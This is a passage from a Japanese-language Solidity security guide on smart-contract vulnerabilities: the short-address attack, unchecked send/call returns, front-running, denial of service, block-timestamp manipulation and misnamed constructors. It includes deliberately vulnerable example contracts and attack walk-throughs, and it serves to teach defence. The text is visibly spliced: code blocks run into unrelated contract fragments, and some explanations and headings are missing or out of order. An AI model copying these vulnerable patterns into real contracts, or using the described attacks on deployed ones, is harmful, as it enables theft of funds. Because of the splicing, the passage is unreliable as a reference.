では、1バイト（2桁の16進数）欠けたアドレスを送信した場合に何が起こるかを見てみましょう。具体的には、攻撃者がアドレスとして `0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde`（最後の2桁が欠落）を送信し、同じく引き出したい `100` トークンを送信したとします。取引所がこの入力を検証しない場合、エンコード結果は `a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeadde00000000000000` `00000000000000000000000000000000056bc75e2d6310000000` となります。その違いは微妙です。送信された短いアドレスを補うために、エンコードの末尾に `00` がパディングされていることに注意してください。これがスマートコントラクトに送信されると、`address` パラメータは `0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde00` として読み取られ、値は `56bc75e2d6310000000` として読み取られます（余分な `0` が2つ追加されていることに注意）。この値は、今や `25600` トークンです（値が `256` 倍されています）。この例では、取引所がこれだけのトークンを保有している場合、ユーザーは変更されたアドレスに対して `25600` トークンを引き出します（取引所はユーザーが `100` しか引き出していないと思っているにもかかわらず）。明らかに、この例では攻撃者は変更されたアドレスを保有していませんが、攻撃者が末尾が `0` で終わる任意のアドレスを生成し（これは簡単にブルートフォースできます）、その生成したアドレスを使用した場合、無防備な取引所から簡単にトークンを盗むことができます。

<h3 id="short-prev">予防技術</h3>

ブロックチェーンに送信する前にすべての入力を検証すれば、この種の攻撃を防げることは言うまでもないでしょう。また、パラメータの順序がここで重要な役割を果たすことにも注意すべきです。パディングは末尾にのみ発生するため、スマートコントラクト内のパラメータを注意深く並べることで、この攻撃の一部の形態を軽減できる可能性があります。

<h3 id="short-example">実際の事例: 不明</h3>

この種の攻撃が実際に公表された例は、私は知りません。

<h2 id="unchecked-calls"><span id="SP-9">9. チェックされていないCALL戻り値</span></h2>

Solidityで外部コールを実行する方法はいくつかあります。外部アカウントへのetherの送信は、一般的に `transfer()` メソッドを介して行われます。しかし、`send()` 関数も使用でき、より多用途な外部コールのために、`CALL` オペコードをSolidityで直接使用することもできます。`call()` 関数と `send()` 関数は、コールが成功したか失敗したかを示すブール値を返します。したがって、これらの関数には単純な注意点があります。それは、これらの関数を実行するトランザクションは、`call()` または `send()` によって開始された外部コールが失敗してもリバートせず、単に `call()` または `send()` が `false` を返すだけであるということです。戻り値がチェックされず、開発者がリバートが発生することを期待してしまう場合に、よくある落とし穴が生じます。

詳細については、[DASP Top 10](http://www.dasp.co/#item-4) と [Scanning Live Ethereum Contracts for the "Unchecked-Send" Bug](http://hackingdistributed.com/2016/06/16/scanning-live-ethereum-contracts-for-bugs/) を参照してください。

<h3 id="unchecked-calls-vuln">脆弱性</h3>

次の例を考えてみましょう。```solidity
contract Lotto {

    bool public payedOut = false;
    address public winner;
    uint public winAmount;

    // ... extra functionality here

    function sendToWinner() public {
        require(!payedOut);
        winner.send(winAmount);
        payedOut = true;
    }

    function withdrawLeftOver() public {
        require(payedOut);
        msg.sender.send(this.balance);
    }
}

    var subpotsCount = getSubpotsCount(roundIndex);

    if(subpotIndex>=subpotsCount)
        return;

    var decisionBlockNumber = getDecisionBlockNumber(roundIndex,subpotIndex);

    if(decisionBlockNumber>block.number)
        return;

    if(rounds[roundIndex].isCashed[subpotIndex])
        return;
    //Subpots can only be cashed once. This is to prevent double payouts

    var winner = calculateWinner(roundIndex,subpotIndex);
    var subpot = getSubpot(roundIndex);

    winner.send(subpot);

    rounds[roundIndex].isCashed[subpotIndex] = true;
    //Mark the round as cashed

行 \[21\] では `send` 関数の戻り値がチェックされておらず、次の行で勝者に資金が送金されたことを示すブール値が設定されていることに注意してください。このバグにより、勝者が ether を受け取らない一方で、コントラクトの状態が勝者への支払いが済んだことを示す状態になり得ます。

このバグのより深刻なバージョンは、[King of the Ether](https://www.kingoftheether.com/thrones/kingoftheether/index.html) で発生しました。このコントラクトに関する優れた [ポストモーテム](https://www.kingoftheether.com/postmortem.html) が書かれており、チェックされていない失敗した `send()` がどのようにコントラクトを攻撃するために使用され得るかが詳述されています。


<h2 id="race-conditions"><span id="SP-10">10. 競合状態 / フロントランニング</span></h2>

他のコントラクトへの外部呼び出しと、基盤となるブロックチェーンのマルチユーザー的な性質の組み合わせにより、ユーザーが予期しない状態を得るためにコードの実行を *競い合う*、さまざまな Solidity の潜在的な落とし穴が生じます。[Re-Entrancy](#reentrancy) は、そのような競合状態の一例です。このセクションでは、Ethereum ブロックチェーン上で発生し得るさまざまな種類の競合状態について、より一般的に説明します。このテーマに関する優れた記事はいくつかあります。例としては、[Ethereum Wiki - Safety](https://github.com/ethereum/wiki/wiki/Safety#race-conditions)、[DASP - Front-Running](http://www.dasp.co/#item-7)、および [Consensus - Smart Contract Best Practices](https://consensys.github.io/smart-contract-best-practices/known_attacks/#race-conditions) が挙げられます。

<h3 id="race-conditions-vuln">脆弱性</h3>

ほとんどのブロックチェーンと同様に、Ethereum ノードはトランザクションをプールしてブロックにまとめます。トランザクションは、マイナーがコンセンサスメカニズム（現在は Ethereum の [ETHASH](https://github.com/ethereum/wiki/wiki/Ethash) PoW）を解いた後にのみ有効と見なされます。ブロックを解いたマイナーは、プールからどのトランザクションをブロックに含めるかも選択します。これは通常、トランザクションの `gasPrice` によって順序付けられます。ここに潜在的な攻撃ベクトルが存在します。攻撃者は、トランザクションプールを監視して、問題の解決策を含む可能性があるトランザクション、攻撃者の権限を変更または取り消すトランザクション、または攻撃者にとって望ましくない状態にコントラクトを変更するトランザクションを探すことができます。攻撃者はその後、このトランザクションからデータを取得し、より高い `gasPrice` で独自のトランザクションを作成し、元のトランザクションより先に自分のトランザクションをブロックに含めることができます。

簡単な例で、これがどのように機能するかを見てみましょう。コントラクト `FindThisHash.sol` を考えてみます:```solidity
contract FindThisHash {
    bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a;

    constructor() public payable {} // load with ether

    function solve(string solution) public {
        // If you can find the pre image of the hash, receive 1000 ether
        require(hash == sha3(solution));
        msg.sender.transfer(1000 ether);
    }
}

この関数により、ユーザーは他のユーザーに自分の代わりにトークンを転送することを許可できます。フロントランニングの脆弱性は、ユーザー Alice が友人 `Bob` に `100 tokens` の使用を *承認* するシナリオで発生します。その後 Alice は `Bob` による `100 tokens` の使用承認を取り消したいと考え、`Bob` の割り当てを `50 tokens` に設定するトランザクションを作成します。チェーンを注意深く監視していた `Bob` はこのトランザクションを確認し、`100 tokens` を使う自分のトランザクションを作成します。彼は自分のトランザクションに `Alice` よりも高い `gasPrice` を設定し、自分のトランザクションを彼女のものより優先させます。一部の `approve()` の実装では、`Bob` が自分の `100 tokens` を転送した後に、`Alice` のトランザクションがコミットされると `Bob` の承認が `50 tokens` にリセットされ、結果的に `Bob` に `150 tokens` へのアクセスを与えることになります。この攻撃の緩和策は、上記のリンク先のドキュメント [こちら](https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit) に記載されています。

もう一つの顕著な実世界の例は [Bancor](https://www.bancor.network/) です。Ivan Bogatty と彼のチームは、初期の Bancor 実装に対する利益を生む攻撃を文書化しました。彼の [ブログ記事](https://hackernoon.com/front-running-bancor-in-150-lines-of-python-with-ethereum-api-d5e2bfd0d798) と [Devon 3 トーク](https://www.youtube.com/watch?v=RL2nE3huNiI) では、これがどのように行われたかが詳しく説明されています。基本的に、トークンの価格はトランザクション値に基づいて決定されるため、ユーザーはトランザクションプールで Bancor のトランザクションを監視し、価格差から利益を得るためにそれらをフロントランできます。この攻撃は Bancor チームによって対処されています。

<h2 id="dos"><span id="SP-11">11. サービス拒否 (DOS)</span></h2>

このカテゴリは非常に広範ですが、基本的にはユーザーがコントラクトを短期間、または場合によっては恒久的に動作不能にできる攻撃で構成されています。これにより、[Second Parity MultiSig ハック](#dc-example) の場合のように、ether がこれらのコントラクトに永久に閉じ込められる可能性があります。

<h3 id="dos-vuln">脆弱性</h3>

コントラクトが動作不能になる方法はさまざまです。ここでは、攻撃者による DOS 攻撃につながる可能性がある、あまり明白ではないブロックチェーン特有の Solidity コーディングパターンに焦点を当てます。

**1. ガスステイペンドなしの外部呼び出し** - 未知のコントラクトへの外部呼び出しを行い、
その呼び出しが失敗するかどうかに関係なくトランザクションの処理を続行したい場合があります。通常、これは
`CALL` オペコードを使用して実現されます。`CALL` は呼び出しが失敗してもトランザクションを
ロールバックしません（詳細と例については [未チェックの CALL 戻り値](#unchecked-calls) を参照してください）。
簡単な例を考えてみましょう。`withdraw()` 関数が呼び出されたときに ether をゆっくりと放出する
コントラクトウォレットがあるとします。`partner` は自分のアドレスを追加し、
ガスを消費して引き出しを呼び出すことができます。これにより、
`partner` と `owner` の両方にコントラクト総残高の
1% が与えられます。```solidity
contract TrickleWallet {

    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = 0xA9E;
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        require(partner == '0x0' || msg.sender == partner);
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance/100;
        // perform a call without checking return
        // the recipient can revert, the owner will still get their share
        partner.call.value(amountToSend)();
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    function() payable {}

    // convenience function
    function contractBalance() view returns (uint) {
        return address(this).balance;
    }
}

もし、引き出し相手がコントラクトの所有者を気に入らなくなった場合、
パートナーアドレスをこのコントラクトに設定し、`TrickleWallet` コントラクト内の
すべての資金を永久にロックすることができます。

このようなDoS攻撃ベクトルを防ぐには、外部呼び出しでガススティペンドを指定して、
そのトランザクションが使用できるガス量を制限してください。この例では、
行 \[17\] を次のように変更することで、この攻撃を解決できます。```solidity
partner.call.gas(50000).value(amountToSend)();

// ... extra functionality, including transfertoken()

function invest() public payable {
    investors.push(msg.sender);
    investorTokens.push(msg.value * 5); // 5 times the wei sent
    }

function distribute() public {
    require(msg.sender == owner); // only owner
    for(uint i = 0; i < investors.length; i++) {
        // here transferToken(to,amount) transfers "amount" of tokens to the address "to"
        transferToken(investors[i],investorTokens[i]);
    }
}

このコントラクト内のループは、人為的に膨張させられる可能性のある配列に対して実行されることに注意してください。攻撃者は多数のユーザーアカウントを作成することで、`investor` 配列を大きくすることができます。原理的には、for ループの実行に必要なガスがブロックガスリミットを超えるようにすることが可能であり、その場合、`distribute()` 関数は事実上使用不能になります。

**3. オーナー操作** - もう一つの一般的なパターンは、オーナーがコントラクト内で特定の特権を持ち、コントラクトが次の状態に進むために何らかのタスクを実行しなければならない場合です。一例として、ICO コントラクトでは、オーナーがコントラクトを `finalize()` する必要があり、それによってトークンが転送可能になります。すなわち、``` solidity
bool public isFinalized = false;
address public owner; // gets set somewhere

function finalize() public {
    require(msg.sender == owner);
    isFinalized == true;
}

// ... extra ICO functionality

// overloaded transfer function
function transfer(address _to, uint _value) returns (bool) {
    require(isFinalized);
    super.transfer(_to,_value)
}

...

constructor() public payable {} // initially fund contract

// fallback function used to make a bet
function () public payable {
    require(msg.value == 10 ether); // must send 10 ether to play
    require(now != pastBlockTime); // only 1 transaction per block
    pastBlockTime = now;
    if(now % 15 == 0) { // winner
        msg.sender.transfer(this.balance);
    }
}

このコントラクトは、単純な宝くじのように動作します。各ブロックにつき1つのトランザクションが、コントラクトの残高を獲得するチャンスを得るために `10 ether` を賭けることができます。ここでの前提は、`block.timestamp` が下2桁に関して一様分布しているというものです。もしそうであれば、この宝くじに当選する確率は1/15になります。

ただし、ご存知のとおり、マイナーは必要に応じてタイムスタンプを調整できます。この特定のケースでは、コントラクトに十分な ether が蓄積された場合、ブロックを解決したマイナーは、`block.timestamp` または `now` を15で割った余りが `0` になるようなタイムスタンプを選択するインセンティブがあります。そうすることで、ブロック報酬とともにこのコントラクトにロックされた ether を獲得できる可能性があります。各ブロックで賭けられるのは1人だけなので、[フロントランニング](#race-conditions) 攻撃に対しても脆弱です。

実際には、ブロックタイムスタンプは単調に増加するため、マイナーは任意のブロックタイムスタンプを選択できません（先行ブロックのタイムスタンプより大きくなければなりません）。また、ブロックタイムを遠い未来に設定することも制限されています。そのようなブロックはネットワークによって拒否される可能性が高いためです（ノードはタイムスタンプが未来のブロックを検証しません）。

<h3 id="block-timestamp-prev">防止技術</h3>

ブロックタイムスタンプは、エントロピーや乱数生成に使用すべきではありません。つまり、（ランダムであると想定される）ゲームに勝利したり、重要な状態を変更したりする際の決定要因（直接的であれ、あるいは何らかの導出を介するものであれ）にすべきではありません。

時間に依存するロジックが必要な場合もあります。たとえば、コントラクトのロック解除（タイムロック）、数週間後の ICO の完了、有効期限の適用などです。時間を見積もるには、`block.number`（[Solidity ドキュメント](http://solidity.readthedocs.io/en/latest/units-and-global-variables.html#block-and-transaction-properties) を参照）と平均ブロック時間を使用することが推奨される場合があります。すなわち、`10 second` のブロック時間での `1 week` は、おおよそ `60480 blocks` に相当します。したがって、コントラクトの状態を変更するブロック番号を指定する方が、マイナーがブロック番号を簡単に操作できないため、より安全になり得ます。[BAT ICO](https://etherscan.io/address/0x0d8775f648430679a709e98d2b0cb6250d2887ef#code) コントラクトはこの戦略を採用しました。

これは、コントラクトがブロックタイムスタンプのマイナーによる操作を特に気にしない場合には不要かもしれませんが、コントラクトを開発する際には認識しておくべきことです。

<h3 id="block-timestamp-example">実世界の例: GovernMental</h3>

[GovernMental](http://governmental.github.io/GovernMental/) は、かなりの量の ether を蓄積した古いポンジスキームでした。また、タイムスタンプベースの攻撃に対しても脆弱でした。このコントラクトは、ラウンド内で最後に参加したプレイヤー（少なくとも1分間）に報酬を支払っていました。したがって、プレイヤーでもあったマイナーは、タイムスタンプを（未来の時間に）調整して、1分が経過したように見せかけ、そのプレイヤーが1分以上最後に参加したように見せることができました（実際にはそうでなくても）。詳細は、Tanya Bahrynovska による [History of Ethereum Security Vulnerabilities Post](https://applicature.com/blog/history-of-ethereum-security-vulnerabilities-hacks-and-their-fixes) にあります。

<h2 id="constructors"><span id="SP-13">13. コンストラクタの注意点</span></h2>

コンストラクタは、コントラクトを初期化する際に、重要かつ特権的なタスクを実行することが多い特別な関数です。Solidity `v0.4.22` より前では、コンストラクタは、それを含むコントラクトと同じ名前を持つ関数として定義されていました。したがって、開発中にコントラクト名が変更された場合、コンストラクタ名も変更されないと、それは通常の呼び出し可能な関数になります。ご想像のとおり、これはいくつかの興味深いコントラクトハックにつながる可能性があり（実際につながりました）。

さらなる学習のために、[Ethernaught Challenges](https://github.com/OpenZeppelin/ethernaut)（特に Fallout レベル）に挑戦することをお勧めします。

<h3 id="constructors-vuln">脆弱性</h3>

コントラクト名が変更されたり、コンストラクタ名のタイプミスがあったりして、コントラクト名と一致しなくなった場合、コンストラクタは通常の関数のように動作します。これは、特にコンストラクタが特権的な操作を実行している場合、悲惨な結果を招く可能性があります。次のコントラクトを考えてみましょう。```solidity
contract OwnerWallet {
    address public owner;

    //constructor
    function ownerWallet(address _owner) public {
        owner = _owner;
    }

    // fallback. Collect ether.
    function () payable {}

    function withdraw() public {
        require(msg.sender == owner);
        msg.sender.transfer(this.balance);
    }
}

bool public unlocked = false;  // registrar locked, no name updates

struct NameRecord { // map hashes to addresses
    bytes32 name;
    address mappedAddress;
}

mapping(address => NameRecord) public registeredNameRecord; // records who registered names